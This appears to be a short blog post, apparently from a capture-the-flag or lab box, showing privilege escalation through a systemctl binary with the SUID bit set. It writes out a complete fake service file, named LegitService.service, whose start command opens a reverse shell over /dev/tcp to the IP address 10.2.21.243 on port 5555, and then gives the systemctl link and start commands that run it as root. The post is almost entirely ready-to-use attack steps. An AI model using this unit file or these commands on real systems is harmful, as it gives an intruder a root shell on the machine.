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Abusing systemctl SUID for reverse shell




Today I came across a box that had the SUID set for systemctl

connected as the apache user www-data I was able to get a root reverse shell.

This is to document how to use this for privilege escalation.

I used a bit from this blog

and a bit from here too



Step1.

Create a fake service I named my LegitService.service

I placed it in the /tmp directory on the server.


[Unit]
UNIT=LegitService
Description=Black magic happening, avert your eyes

[Service]
RemainAfterExit=yes
Type=simple
ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done"

[Install]
WantedBy=default.target


Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders


systemctl link /tmp/LegitService.service



Then I just needed to start the service using systemctl



 systemctl start LegitService.service





Then  I got my shell back
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